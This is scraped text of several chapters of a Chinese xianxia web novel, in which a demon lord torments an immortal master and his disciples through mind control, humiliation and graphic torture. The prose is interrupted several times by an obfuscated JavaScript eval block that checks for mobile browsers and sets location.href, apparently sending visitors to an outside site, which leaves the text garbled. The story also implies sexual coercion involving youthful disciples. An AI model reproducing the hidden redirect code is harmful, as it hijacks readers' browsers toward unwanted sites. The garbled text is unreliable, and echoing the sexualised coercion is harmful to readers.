“我们可是很喜欢仙尊的!” “仙尊,仙尊!” 见他们发疯,月轻盈心里一跳,下一秒,就见被魔尊沈砚台施了囚困法的牢房被他们合力撕碎。 他立刻朝后飞去,面对三人紧追不舍,离自己越来越近抓伸过来的手,立刻出掌回击。 师与徒之间的实力差距还是很明显的,但奈何架不住三个人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762308|174437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 猛烈的攻势。 月轻盈又心疼徒儿,逐渐有些处于下风。 撕拉声响,月轻盈低头就见自己腰腹部的衣服被小川勾指给抓开了。 他明明闪避得很快,要么就是小川强行勉强自己,抬眸看去,小川的手指变形,断裂了。 没想到,食灵花对他们的影响如此之大,月轻盈眼眸变地幽沉。 一阵狠下心来,他立刻施法将三个人全都禁锢住,被制服的三人很快变得老实。 月轻盈有些轻微喘气。 毕竟和魔族百万士兵还有正道人士交过手,用去的仙力还没有恢复。 他站立在三个徒弟面前,眼里都是疼爱和怜惜。 许是有天资的人命运多舛,他的三个徒儿都是他在他们小的时候捡回来的。 亲手将他们从小教养到大,虽是师徒,却情比父子。 “小川,小河,小宵……” 月轻盈见三个徒儿已经突显俊美的容貌上还有未褪去的稚嫩,想到解救他们的法子……沉沉闭上了眼。 他缓缓伸出手,摸索着去解三个徒儿的裤腰系扣,他在心里说服自己,自己是在救他们…… 可为什么心里的痛苦和罪孽感越发深重,为什么他的手这么抖…… 这时候,不知道是不是有了月轻盈仙力的压制,大弟子小川眼里的猩红色竟是消减了不少。 “仙……尊……” 月轻盈呼吸一窒,立刻抬头去看,就见小川正气息虚弱的看着自己,眼里都是担心。 “仙……尊……没……没事吧……有没……有没有……受伤……’” 简单的一句询问,竟是让月轻盈有种想要落泪的冲动。 “小川,你怎么样,有没有哪里难受?”月轻盈抬起小川断骨的手,立刻输送仙力为他治疗。 小川摇头,眼里的猩红色一会变弱一会明亮,“不……难受……” “额……”他说谎了,他的头其实很疼,只是看着仙尊眼里的担忧,不想让他担心。 月轻盈吸吸鼻子,眼里有些湿,“小川……你听为师说……” 他见小川仔细聆听露出乖巧的表情,心揪紧,嗓子发干,沙哑道。 “小川……你和你的师弟们中毒了,仙尊……现在就救你们好不好?” 7. 第 7 章 “求仙尊杀了我们!”小川迫切道,眼里的猩红色变弱。 “小川。”月轻盈看着他逐渐变回黑色的瞳孔,有些惊喜。 小川却是满眼愧疚和悲伤的看着月轻盈,“仙尊,是徒儿们不好,差点做了羞辱仙尊的事……” 他们的神智虽被食灵花困住,但是不代表他们不知道发生了什么事。 他们是仙尊的弱点。 “不是的,不是你们的错,都是魔尊沈砚台的错,仙尊……现在就救你们,之后我们一起去杀了沈砚台,灭了魔族。” 月轻盈极力安慰,小川却是凄苦摇头,“仙尊不止要救我们,还要救天下苍生……仙尊每一个你都要……这么救吗?” 月轻盈一想到这样的可能,怔住,随即脸色变地苍白起来。 小川抬唇笑:“仙尊杀了我们,你就没有后顾之忧,魔尊沈砚台没有你的把柄,你才能放手用尽一切方法救回正道苍生。” “不……不行。”月轻盈眼眶红了起来,“你们的命也是命,你怎么能用这么轻松的语气让我杀了你们,你可知为师多心痛,你们想让为师以后没有徒儿敬孝吗!” 小川见月轻盈要哭,眼里也含着泪,“仙尊,我们师兄弟三个能做你的徒儿是我们这短短一生最大的幸。” “不行,我可以救你们,等把你们救下,我们就逃跑……” 月轻盈颤抖着手,继续去解小川等人的衣裳。 “仙尊,食灵花又在蛊惑我了,快,快杀了我们!” 月轻盈心里一惊,猛地抬头看去,就见小川眼里的猩红色重新变地夺目。 “小川!”月轻盈急切呼喊,希望能唤回小川的清醒。 不知道是不是食灵花气愤自己的猎物差点逃脱了自己的掌控,这次的控制比先前要更加沉。 小川三师兄弟忽然挣脱了月轻盈的禁锢,再度朝他扑了过去。 “仙尊你为何要逃!” “仙尊,那种事很快乐的……” “仙尊!” 月轻盈闻言心惊,看着好几次差点抓住他的手,立刻扭身闪避。 他施法打算将他们重新禁锢,却没想小川小河小宵三人的身影猛然顿住。 “师……兄……” 小河小宵缓缓朝着身侧看去,眼里的猩红色被狐疑取代。 月轻盈抬眸看去,瞬间眼前一阵发黑,急火攻心后他仙力逆行哇的吐出血来。 “小川!”月轻盈急急扑了过去。 小川自有了第一次逃脱食灵花掌控的经验后,便执着再度脱离,这次他凭借强大的意志力依然成功了。 看着月轻盈,小川吐出血来,眼里落泪,嘴角却带笑:“知道仙尊舍不得,我就自己动手了……” “小川,小川,你怎么这么傻啊……都是为师不好……为师应该早点下决心,你就不会……” 月轻盈抱住心脏被破坏,身体摇摇欲坠的小川,抬手往他体内输送仙力。 “仙尊……别说傻话了,如若是我也做不到那种事……是魔尊沈砚台太坏了……” 小川意志力逐渐溃散,月轻盈的脸变得模糊,他像个跟父亲抱怨的孩子骂着沈砚台的恶。 “小川……”月轻盈受不了打击,见仙力没用,情急下竟是撕咬开手腕用仙血喂食给小川。 他是第一仙尊,一滴血可抵得过五百年修为,可让死人复活原地飞升。 “小川你不会有事的,为师不会让你有事的!”月轻盈眼里的泪颗颗滴落,万分心痛,泣不成声。 “仙尊,别浪费你的……血了……”小川执着伸手打开月轻盈的手,没了仙力和仙血的输送,气息逐渐微弱下来。 “仙尊……对不起啊,我也舍不得对两个师弟下手,他们日后就劳烦你照顾了……” “小川……小川……你看看为师,为师不能没有你,没有你为师教导不好小河小宵,他们一直都是你在教……” 月轻盈眼里的泪水模糊了视线,看着眼睛失焦,再听不见他说话的小川,逐渐崩溃。 “小川!” “仙尊啊………小川从小就没有爹娘,小川最大的愿望就是喊仙尊一声爹……” 话一落音,小川就咽气了,死前眼睛还直直看着前方,不知是不是想起了他被月轻盈捡走的那天。 “小川!”月轻盈抱着小川的尸体,悲痛欲绝。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762309|174437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “师……兄……” “师兄……?” 小河小宵小川三人原本天赋就极高,摆脱食灵花的控制也是迟早的事。 空气里的悲伤很浓厚,月轻盈痛苦的哭喊让他们心急,他们眼里的猩红色也逐渐褪去。 等他们看见大师兄小川身死,仙尊一身的血污,涉世未深的他们立刻被吓哭了。 “师兄,师兄你怎么了!” “仙尊,师兄他……” 月轻盈听见小河小宵的说话声,忽然一顿,随即眼里的悲伤更是倾泄而来。 他害怕小河小宵和他们的大师兄小川同样走上自戕的路,施法将他们禁锢后,眼神变地坚定起来朝地上一跪,拜起了天地。 “仙临山第一仙尊月轻盈,是正道苍生之首,亦是我徒儿们的师傅。” “上天好德,明白事理,如今仅凭月轻盈一人之力无法护住万物苍生,却可以以师傅的身份护住我剩下的两个徒儿。” “上天怪我自私也好,怪我无能也好,待月轻盈安排好两个徒儿,便自戕去上天面前领罚。” 小河小宵听着仙尊说的明显是要自寻死路的话,吓得大哭了起来。 “仙尊你不要丢下我们!” “仙尊你放开我们,我们可以跟你一起走!” “仙尊,大师兄肯定没走远,黄泉路上我们一起不孤单!” 月轻盈眼睛通红,鼻子发酸:“你们的大师兄有我陪着,你们不必挂怀,倒是你们两个日后要可要相互扶持啊,不要吵架不要惹事,以后……没人能护的了你们了。” “仙尊!” “仙尊不要啊!” “小宵害怕,小河你快想想办法,呜……” 月轻盈对两个徒弟的哭喊充耳不闻,深吸一口气,他仰首对着上方喊道。 “魔尊沈砚台,今日不用你动手,我月轻盈甘愿一死,无论你将我拖出去鞭尸也好,还是羞辱也好,只求你能放过我两个徒儿,留他们一条命,算是我月轻盈求你了!” 月轻盈弓身弯腰,头狠狠磕在了地上,鲜血迸溅。 “哎呦呦……这是怎么了?”熟悉的戏谑声响起。 8. 第 8 章 一直在暗处偷看的沈砚台,对眼前师徒绝望抱头痛哭的画面感到十分满意。 只是见月轻盈要死,他开始急了。 他的毒还没有解,他可不能死。 周边忽然响起翠玉相碰触时发出的叮铃脆响。 月轻盈眼前是一片血红色,他看着从黑暗中走来,缓缓袒露出面容的沈砚台,眼里带上了死志。 他跪在地上,朝着沈砚台在的地方又是一个重重磕头,“求你放过我的两个徒儿!” “第一仙尊月轻盈,你这说的是什么话,我何时对你徒儿动手了?” 月轻盈眼眶汇聚泪水,看向沈砚台的眼眸里带上了恨意,被他很好的隐藏了起来。 他哽咽道:“如若不是你用食灵花控制他们预谋羞辱我,我的徒弟也不会在意识清醒后为了我寻了短见。” 沈砚台撇了一眼躺在月轻盈腿边的小川的尸体。 那少年眉眼英气飒爽,脸上还有未褪去的稚嫩,观他死时的壮举,若是还活着日后必有大作为。 “哦?你让我放过你的两个徒儿,你会给我带来什么好处?”沈砚台收回视线落在浑身充满悲伤的月轻盈身上。 “我可以死在你面前。” 月轻盈抬手运起仙力,放在自己的额前,“如今你魔族大胜,我作为正道第一仙尊,我死在你的手里,魔族人会更加拥护你。” “拥护?那种东西我不需要,我们魔族的人向来喜欢背叛厮杀,今日是我为王,明日搞不好就又换了一个人。” 月轻盈不言语,猩红着眼执着的看向沈砚台,眼里死意决然。 沈砚台有些不爽。 “你作为仙临山第一仙尊,为了两个徒儿竟是连其他正道苍生都不顾了?” 月轻盈眼里泪意重新翻涌:“我……原本有三个徒弟……” 他闭眼,眼泪滴落,再掀开眼时,眼神清明:“我连徒儿都护不住,何谈护的住正道苍生……” “你若是不愿意我自尽,那便由你来解决我,但是我要你答应我,留我两个徒儿一条性命。” 月轻盈放下手,侧头去看他那剩下的两个徒儿,脸上的稚气一个比一个浓。 此刻两人哭的差点喘不过来气,嘴里不停歇的求着他,唤着他。 月轻盈满足了,死前听他们唤一声师尊足矣。 “魔尊沈砚台,开始吧。”月轻盈闭上了眼睛。 沈砚台惊疑不定的看着在他面前抬起头,露出脆弱脖颈的月轻盈。 这是月轻盈织构成的骗局,他猜忌了半晌,确认月轻盈真的心怀死志,有些看不懂了。 仅仅因为死了一个徒弟,为了剩下的两个徒弟,月轻盈就自行折断了第一仙尊的傲骨求他杀了他。 沈砚台轻视月轻盈,他配不上第一仙尊的尊位。 可转念想到,他那徒儿是为了守住他的清白而死,又理解了三分。 说来说去,都是因为那个叫小川的死月轻盈才开始求死,沈砚台看着小川的尸体眼眸诡异。 “我可以饶了你的两个徒弟,但我也不要你的性命。” 月轻盈眼睫颤抖,缓缓睁开了眼,眼眸深幽如潭:“你打算做什么。” 沈砚台笑的恶劣:“正道落败,魔族大喜之日,我作为魔尊想邀请第一仙尊月轻盈参加宴会,还望月仙尊能给我们助助兴。” 什么助兴,无非就是想要在魔族人前羞辱他。 月轻盈眼皮轻抬心有猜测,事已至此他只求保全剩下的两个徒儿。 “若我答应了,你会放过我的两个徒儿吗?” “嗯,当然。” 沈砚台抬眸去看小河小宵,两人一边流泪一边恨瞪着他。 小河一张正气凌然脸,将长的肤白柔软的小宵护在身后。 “沈砚台,我师尊为了我和师弟多有顾虑,不惜为我们愿意死在你的手下,可我们不怕你,若有我们一天活,你必有死的那一天!” 小宵此时探出头来,黑色瞳孔里满是惊慌的泪水,明明很怕却又硬气的很。 “我们不怕你,我们会和师尊共生死。” 挑衅完沈砚台,两个崽子又去求月轻盈。 “师尊你站起来,第一仙尊月轻盈何时受过这种屈辱!” “仙尊你不要为了我们被魔人羞辱,我们也可以和大师兄一样去死!” “仙尊你放开我们,成全我们吧!” “仙尊从小到大我们就一直在惹祸,现在轮到我们报答你了!” 月轻盈求了半天沈砚台才松口,如今两个徒弟叫嚣着要死。 他一边怜惜一边生气, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762310|174437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他的死不算什么,他们两个比他重要。 “闭嘴,不要胡说!”害怕两人重蹈小川的覆辙,月轻盈一道禁言法落在小河小宵身上。 “聒噪!”沈砚台没有将小河小宵放在眼里,抬手就是一个禁言术。 “你干什么!”月轻盈见状,以为他要加害他们,表情瞬间凶狠了起来,扑上去就要攻击沈砚台。 “冷静,只是施了一个禁言咒。” 月轻盈绷紧的心稍稍松懈,他看向沈砚台,确认道:“我会去参加庆典,你也要说到做到不准伤害我的徒儿们。” “我魔尊沈砚台,答应了。” 沈砚台招手,掌心立刻浮现出两朵盛放的食灵花,它如一团火那般明艳,再一挥手,食灵花便朝着小河小宵扑了过去。 月轻盈瞳孔猛缩,转身就要阻止,却被沈砚台给擒制住。 “干什么,不是想我保他们的命吗,让他们继续做被食灵花蛊惑的人,就是最好的保护。” 月轻盈厌恶他的靠近,扭动不止:“放开我!” 沈砚台贴在他耳边道:“你可要想好了,再动下去我可就认为你要毁约了,那时……我可不敢保证会对你的两个徒儿做什么, 说起来,你那最小的徒弟长的可真漂亮啊,我们魔族可是男女不忌,要是他出了什么意外……” 月轻盈瞳孔猛地睁大,瞬间不敢乱动了,语气里带上了慌张和低声下气的求饶。 “沈砚台,我错了,我都听你的,你不要动他们,有什么事都冲我来……小宵还小……别动他……” 月轻盈嘴里一直不停地念叨着放过他们,别动他,身躯实则已经害怕的不住颤抖。 余光看到的就是小川的尸体,他不禁悲从心来,都是他的错,害的正道苍生,他的三个徒儿跟着他活受罪。 “沈砚台,我求求你,不要动他们……”月轻盈痛恨自己的无能。 沈砚台嗅着他发间的檀香,在他颈边轻蹭,说话如情人低语。 “只要他们别招惹我,我可以保他们不死。” 月轻盈闭眼,不住庆幸低泣。 沈砚台牵起他的手,抬手整理他的乱发,月轻盈闪躲了一下,被他按压住。 “别动,现在要去庆典了,第一仙尊月轻盈可不得打扮的好看点?” 9. 第 9 章 月轻盈睁眼看着对他微笑的沈砚台,垂眸,颤抖着吐出一句“好”。 “真乖。” 沈砚台很满意月轻盈的乖顺,一招手身边便出现两个熊头人过来押解着月轻盈往外走。 月轻盈一动,碰到了小川冰冷的尸体,他缓缓低头,看着小川逝去的生命,年轻的躯体,眼里蔓延着悲伤,转头去求魔尊。 “沈砚台,我徒儿尸首还未……安葬,可否耽误一点时间,我想送我徒儿最后一程。” 沈砚台撇了一眼小川,眼里有愠怒划过,看向月轻盈脸色阴晴不定。 “在我魔族大喜之日安葬一个死人,月轻盈你是在给本尊找不痛快吗?” 月轻盈瞬间就红了眼:“我不能眼睁睁看着我徒儿的尸首无人认领,求你可怜可怜我这个无能的师傅最后为他做点什么吧。” 沈砚台看着他抬眼时,眼里涌现的祈求,即将溢出眼眶的泪水,心有不满,却也未发作。 “不行,会耽误吉时。” 月轻盈闻言泪水垂落。 他生的眉目如画,明眸善睐,清冷端正,一颦一笑都让人过目不忘。 他此刻眉眼充满悲伤,眼眶已然哭红,先前遭遇磋磨着他的傲气,只让他显得狼狈,柔弱了几分。 却让人越发想要欺辱他,让他露出更多不一样的神情。 沈砚台眯眼,几息后改口了,“你若是愿意,本尊到可帮你安葬你这可怜的徒儿。” 月轻盈抬头,眼睫上泪水涟涟,眼里有着疑惑和不解,更多的是戒备。 “你怎会如此好心?” “不愿?不愿那我便只能让你徒儿的尸首暴露在荒天野地,魔族没开智的那些魔兽们只知道这是肉,却不知这是你第一仙尊月轻盈的徒儿小川。” “不……不能让小川的尸首被畜牲给吃了。”月轻盈被他的话吓到了,脸色煞白,急急看向沈砚台,甘愿示弱。 “如若魔尊沈砚台不嫌弃,月轻盈便再此谢过了。”月轻盈垂下头,万分揪心。 沈砚台摆手。 两个熊头人将月轻盈带走了。 月轻盈无法反抗,频频回头,看着在地上尸骨未寒的小川,再度红了眼。 他甚至都没有给小川埋上一撮土。 他对不起小川。 见月轻盈走时还默默流泪,沈砚台轻呵,“真稀奇,不过死了个徒儿,这第一仙尊哭的却是跟个泪人一样。” 他低头,看着小川,眼里带上了阴暗,周边无人,他毫不顾忌释放自己的恶。 “因为你这个小东西,差点让我没了解药,你可知你惹怒了我?” 沈砚台对着小川尸首在的地方,做出一个抓握的动作,砰一声巨响,小川变成了一团血雾。 还未走远的月轻盈,立刻回头看了一眼,眼里有着牵挂,泪止不住,“小川……” 解决了小川,沈砚台在原地等一等,没多久,一株食灵花出现在未消散的血雾中。 食灵花的花瓣抖动,不多时,发出细小绽放的声音,有花粉浮现。 沈砚台神色阴沉,立刻以手遮掩口鼻,在原地静立了片刻,食灵花发生了变化。 它柔软的花蕊中竟是含着一颗莹白圆润的玉珠。 那是修士的魂魄凝结出的魂珠。 他抬手轻轻采摘,呵笑了一声,张开了嘴,本打算将其吞食,但脑中不知为何想起了月轻盈哭泣的泪脸。 他捏着玉珠,久久凝视,最后放入胸前收好。 “还是不吃你了,若日后你师尊表现好,我放你入轮回便是。” 沈砚台一挥手,被他制造出的牢房立刻崩塌。 他从阴暗中走出,逐渐袒露其高大的身姿,俊美的容貌,走动时,身上佩戴的玉石发出叮铃脆响。 他的心情转阴为晴。 一步步朝着魔族大殿走去,沈砚台眼眸微闪,笑得阴险,“不知道第一仙尊月轻盈穿起我们魔族的衣服是何等的风姿。” 一身白衣的月轻盈就已经出落的颠倒众生。 “真是好奇啊……” 月轻盈被熊头人按压着被送进了一个房间,不多时,有几个狐头女人上前给他换衣服。 看着东拼西揍,勉强能称的上是一件衣服的月轻盈脸色煞白青黑,很是难堪。 几个狐头女人还有些害怕,不曾想穿衣时,这个男人却很是配合。 到了吉时,她们看似伺候,实则看守,带着月轻盈来到了魔族大殿。 此处月轻盈很是熟悉,正是他的月华宫, 正道落败后,魔族便霸占了正道的一切。 他的住处还被魔族人用做开宴的大殿,何其讽刺。 他深吸口气,定了定神,双手捏紧衣摆,背脊挺立,不卑不亢走进。 喧闹哗然大笑的声音迎面扑来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762311|174437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>月轻盈脚步一顿,几次心生退路,最后都被他强忍了下来。 莹白纤细的一只脚踏入门槛,踩在铺着的大红色地毯上。 混在风中能让人灵台变地清明的檀香涌入。 刚才还在寻欢作乐的魔族众人瞬间将视线投向门口。 来人穿着暴露,雪白的手臂,没有遮掩的前胸,清瘦有韧性的细腰,长且直肌肉匀称有力的双腿,让人浮想联翩。 更香艳的是,这人身上遍布着暧昧的吻痕、咬痕、更深的看不到了,但肯定比露出来的还要多! 目光从下而上几个来回,众人目光定在来人的脸上。 明明是一张清冷出尘禁欲的脸,却在衣服的衬托下,带着一层遮掩的欲。 “这个美人是谁!” “我们魔族可曾出过如此美人!” “还是正道好啊,连人都比我们魔族的好看!” “这是魔尊今晚要送给咱们的礼物吗!” 魔族的人哄闹起来。 月轻盈的心往下沉,脸色难看,身躯也开始不住颤抖。 他颤抖抬眼,去看坐在上首,一言不发但却很享受他被污言秽语评论的魔尊沈砚台。 许是到了自己的地盘,他不在掩饰,没有以人身出现,而是露出了原型。 他原是蛟龙。 全身赤色,每个鳞片都蕴含着强大的灵力发着微光,他蛟尾盘着,尾尖不时扑棱两下。 虽有些可笑,可他的气势却很是强悍。 他头顶着两块龙角,脸上也有黑色鳞片,眼眸漆黑,看过来时直入人心。 他头发只懒散束起,穿着一袭象征着魔尊地位绣着金线的黑袍。 脸上的表情很是慵懒,见到月轻盈挑眉示意,“你来了?” 月轻盈唇瓣翕动,一言不发。 “闹什么脾气?” 沈砚台未动怒,轻笑,让人请他就坐,随即邀请他一同观宴。 一群舞女翩然进入大殿中心,妖娆娇媚的舞姿看的众人沸腾不已。 月轻盈却将目光放在这些魔族人的身后。 竟全都是受到食灵花蛊惑,颇有些名气的正道大能修士,其中还有不少门派宗主! 小河和小宵亦在其中! 为什么他们都在这里? 月轻盈猩红着眼,咬紧牙关,满怀愤恨,扭头对上了沈砚台直勾勾盯着他看的目光。 10. 第10章 沈砚台抬眉。 先是扫视了一圈享乐的众人,之后才轻扯嘴角,声音不大,却足以响彻大殿。 “月仙尊看来是真的有点不高兴,不知是我魔族此次的庆典上可是有什么安排不好的地方,惹得仙尊不满了。” “你竟然有脸说出来!你明明知道!”月轻盈视线在在场所有的正道人士身上扫了一遍。 “原是如此。”沈砚台点头,似是悟了,又不解道:“我魔族庆典自然要邀请客人,这样才热闹,本尊邀请正道人士可是做错了?” 月轻盈眼眸发狠:“可你明知他们被食灵花蛊惑,还要让他们来参加这可笑的宴会。” 霎时,大殿安静了下来,所以的魔族眸光不善的盯着月轻盈。 月轻盈亦不曾惧。 大殿的舞女们被气氛感染,也不敢再跳下去,纷纷停了舞步。 沈砚台皱眉,盯着动怒的月轻盈,神情几经变化,轻笑了出来。 “既然你介怀他们是无意识的来参加庆典,那这次我让他们恢复意识便是。” 月轻盈见他一个挥手,不多时,正道人士们眼中的猩红色便渐渐消退。 虽然他心有戒备,可也抵不住想见到正道人士的急切。 如今,正道就只剩他一人不被食灵花蛊惑。 “小河……小宵……”月轻盈看着眼底清明明显正常了的徒弟们,眼里有着喜悦。 “仙尊!” 小河小宵亦是同样心情,刚想拔步去往仙尊身边,却发现他们根本动不了。 其他的正道人士在清醒过后,也很快的发现了自己的行动被禁锢了起来。 “这下月仙尊可还满意?” 沉稳低沉带着恶意的声音响起,正道人士们这才意识到这里还有别人。 定睛一看,正是不久前将他们打败使的他们身受重伤的魔尊沈砚台。 这是怎么回事? 众人看向月轻盈,见着他身上那不堪入眼的服饰,脸色立刻变得难看。 “堂堂仙临山第一仙尊,如今怎穿的像个荡.妇!” “是啊,实在是有辱我们正道的颜面!” “有此等不知羞耻的仙尊,我等还不如道消身死!” 一句句怨怼和咒骂,让为他们恢复神智感到喜悦的月轻盈,逐渐心寒,脸色难看。 坐在上首的沈砚台见状,眼里有着愉悦,不过这么骂来骂去毫无意思,原本期待的心逐渐冷了下来。 这不是他想看的画面。 他想看的是,正道人士和月轻盈抱头痛哭,他们联合骂他,他故作发怒,然后好顺理成章的杀了他们。 瞧瞧月轻盈那煞白的小脸,慌乱的眼神,估计是有些手足无措了吧。 沈砚台手撑着下巴,坐姿狂放,不紧不慢道:“你们为何要骂月仙尊?” 刚刚还在用言辞讨伐月轻盈的正道人士们瞬间住口,脸色不善的看向沈砚台。 “要不是他发怒,说不想让失去意识的你们参加庆典,你们这会还沉浸在食灵花编织的困境中。” 正道人士们顿时被哽住,像是有一个巨大无比巨响无比的巴掌扇在他们的脸上。 月轻盈唇瓣颤抖,眼底猩红,看着沈砚台欲言又止,不知道他想干什么。 沈砚台一副不着调的样子,“月仙尊,你方才动怒,可是嫌弃我魔族的魔女们跳的舞不好看?” 月轻盈眼神戒备的看着他。 沈砚台将下方众人脸上的神色揽入眼底,慢悠悠道:“那本尊便是请你们正道人士上来跳舞好了。” “什么!”月轻盈心惊。 不多时,他眼前一花,立刻就见一道熟悉的人影飞跃过他的头顶,摔落在大殿中心。 “仙尊!”小宵承受着来自四面八方的视线,语气颤抖,惊恐的看向月轻盈。 “小宵!”月轻盈眼睛瞬间爆出血丝,转头怒瞪沈砚台,“你答应过我不会动小河小宵的!” “只是要他跳个舞,又不是要了他的命,月仙尊何故如此大的反应?” “你答应过我的!” 月轻盈气急,额头青筋都暴了出来,看着小宵在大殿中心发抖的身躯,立刻想到了自戕的小川。 他心尖一痛,咬碎了一口银牙,混着血往肚子里吞。 不想在看沈砚台,月轻盈闭上眼,“我只教导过小宵修炼上的法门,并未教他跳舞,他不会。” “不会啊。”沈砚台哦了一声,安静了下来,看着月轻盈手心指缝间不住滴落的血,得逞的笑了。 “他不会,我便找人教他啊。” 月轻盈立刻睁开眼,充满警惕,看他又想做什么妖。 “来,给你们见识一下,我们魔族的皮影戏。” 皮影戏跟跳舞有什么关系? 正道人士们小声嘀咕。 反观魔族的人却是尖叫狂笑欢呼声连连。 沈砚台拍手,不多时便有一个身高三米的巨人,手里持着皮影棒走了进来,所到之处沙石抖落。 “见过魔尊!” 沈砚台见巨人给自己磕头,很没兴致,催促他赶紧开始。 巨人起身后,就站在原地,头颅转动,在人群中看来看去。 总觉得他像是在挑选着什么,不知为何,月轻盈总有种恐惧感。 一个身材较为矮小,长相清秀的魔族人被巨人用手指捻了起来。 巨人不顾魔族人恐慌哭求的求放过,狠心将三根皮影棒粗暴的插入他的肩胛骨、头骨、双腿,魔族人被巨大的痛苦淹没几近昏厥。 巨人却很是兴奋的嘻笑一声,随即操纵着皮影棒上挑,下拨弄,左横扯右拉扯。 “啊啊啊啊啊啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762312|174437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……” 魔族人被折磨的疯狂嘶叫,鲜血如瀑往下低落,满地的大红色,血腥味刺鼻。 正道人士脸色惨败,更有心理承受能力差的当场吐了。 魔族人狂欢狂笑。 月轻盈看着被巨人用三根木棒洞穿身体,被操纵跳舞生不如死的魔族人,一阵心惊胆寒。 他眼也不眨,看着被吓得六神无主的小宵,内心瞬间被恐惧填满。 小宵承受不住如此酷刑。 小宵……会死! 他不能再失去第二个徒弟了! 大殿里,魔族人的欢呼声,正道人士气急败坏的批判声,小河担忧的呼喊声,让月轻盈头晕炫目无比混乱。 他想起来这污浊的一切都是由沈砚台而起,无力又满是恨意的看向沈砚台。 “沈砚台,我知你今日是想借我之手,羞辱整个正道人士,可我没想到你竟然是如此的恶毒!” “说什么呢?”沈砚台不痛不痒,看着月轻盈的眼眸发着幽光。 “我可是魔族啊,魔族的人没有心的,和你们正道人士口中的七情六欲不占半点边。” “你骂我是恶毒,还是狠毒也好,我丝毫不受影响,倒是你,跳舞的教程快要完了,你接下来可要好好看你徒弟跳的舞啊,想来一定精彩绝伦。” “小宵。”月轻盈一个心颤。 眼神一错,就见那巨人将魔族人一整个从皮影棒上撸下,丢弃在地上,不顾其死活,径直朝着小宵靠近。 “不要……” 同样被皮影戏舞蹈法给吓住的月轻盈,膝盖发软,他眼里绪着恐惧的泪水,一边朝着小宵的方向爬过去。 小宵许是察觉到了危险,眼里含泪看着月轻盈:“仙尊,小宵……该是没有机会报答您的养育之恩,但今日,小宵总不会辱了仙尊的名讳!” 小宵眼里闪烁着决绝,看向停留在他面前不动的巨人,抬手就要向自己的额前拍去! 月轻盈目眦欲裂:“不要,小宵不要!” 见自己阻止不了小宵,他急急看向沈砚台:“我跳,我替他跳!我……我是第一仙尊……下届百姓每到过节时我都会跳祈福舞,我跳!” 眼见小宵的手就要拍上前额,月轻盈闭眼,倾尽全力嘶吼,“沈砚台,我跳!” 叮铃。 一道玉石相撞的清脆响声在大殿回荡。 不忍心看修士自爆的众人皆都掀开眼皮偷看,就见沈砚台不知何时来到小宵身前,单手钳制了他的手腕。 “看来这里是用不着你了。” 沈砚台一个甩手,自爆失败脸色颓然的小宵摔倒在小河的怀里。 月轻盈绷紧的心一阵放松,无力得跌坐在地,连喘了几口大气,仍心有余悸。 他惊魂未定抬眼看向沈砚台,苦涩一笑,身躯不稳的站了起来。 11. 第11章 见他抬手和掌是跳舞起势的动作,沈砚台眼里浮起了兴味。 月轻盈跳的祈福舞,舞蹈动作里多是对天地的敬畏,对天地的感谢,舞姿散发着庄严神圣的气息。 即使他穿着暴露的衣裳,却让在场的人对此刻翩然起舞的月轻盈,不敢起任何肮脏的心思。 沈砚台看着月轻盈柔韧的腰肢,舒展开的手臂,踮脚时绷紧绷直的长腿,面容冷了下来。 “舞是好舞,可是月仙尊是否误会了我的意思?” 月轻盈起舞的动作一滞。 